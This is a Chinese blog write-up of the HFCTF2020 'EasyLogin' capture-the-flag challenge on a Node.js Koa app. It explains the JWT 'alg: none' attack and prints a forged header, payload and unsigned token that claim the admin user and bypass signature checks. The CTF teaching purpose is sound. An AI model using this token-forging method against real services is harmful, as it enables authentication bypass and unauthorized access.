[HFCTF2020]EasyLogin(node.js的koa框架、jwt攻击方法)

1、node.js koa的主要框架目录
创建一个rest-hello的工程,结构:
在这里插入图片描述

2、jwt攻击方法
深入了解Json Web Token之概念篇
深入了解Json Web Token之实战篇
总的来说,jwt由三部分组成:Header.Payload.Signature。攻击的办法之一可以把header中alg字段更改为’none’,且Payload的secretid为空,即没有Signature
因为sid为空时,jwt将采用none algorithm解密,即对应了将alg='none’的加密

wp:

随便注册,登录
在这里插入图片描述

发现有三个字段
查看源代码,发现.js后缀的static/js/app.js文件,并没有发现什么
查看rest api–controllers/api.js
在这里插入图片描述

发现了都对jwt的认证
在这里插入图片描述
并且只有admin登录才能查看到flag
将刚刚登录界面的第三个字段authorization放到https://jwt.io/解密
在这里插入图片描述
然后更改Header中alg为none,Signature删空
Header:
{“alg”: “none”,“typ”: “JWT”}
Payload:
{ “secretid”: [],“username”: “admin”,“password”: “hhh”,“iat”: 1612970917}
两部分分别base64加密
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyAgInNlY3JldGlkIjogW10sInVzZXJuYW1lIjogImFkbWluIiwicGFzc3dvcmQiOiAiaGhoIiwiaWF0IjogMTYxMjk3MDkxN30.
![在这里插
进入admin的hone,get flag即可得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值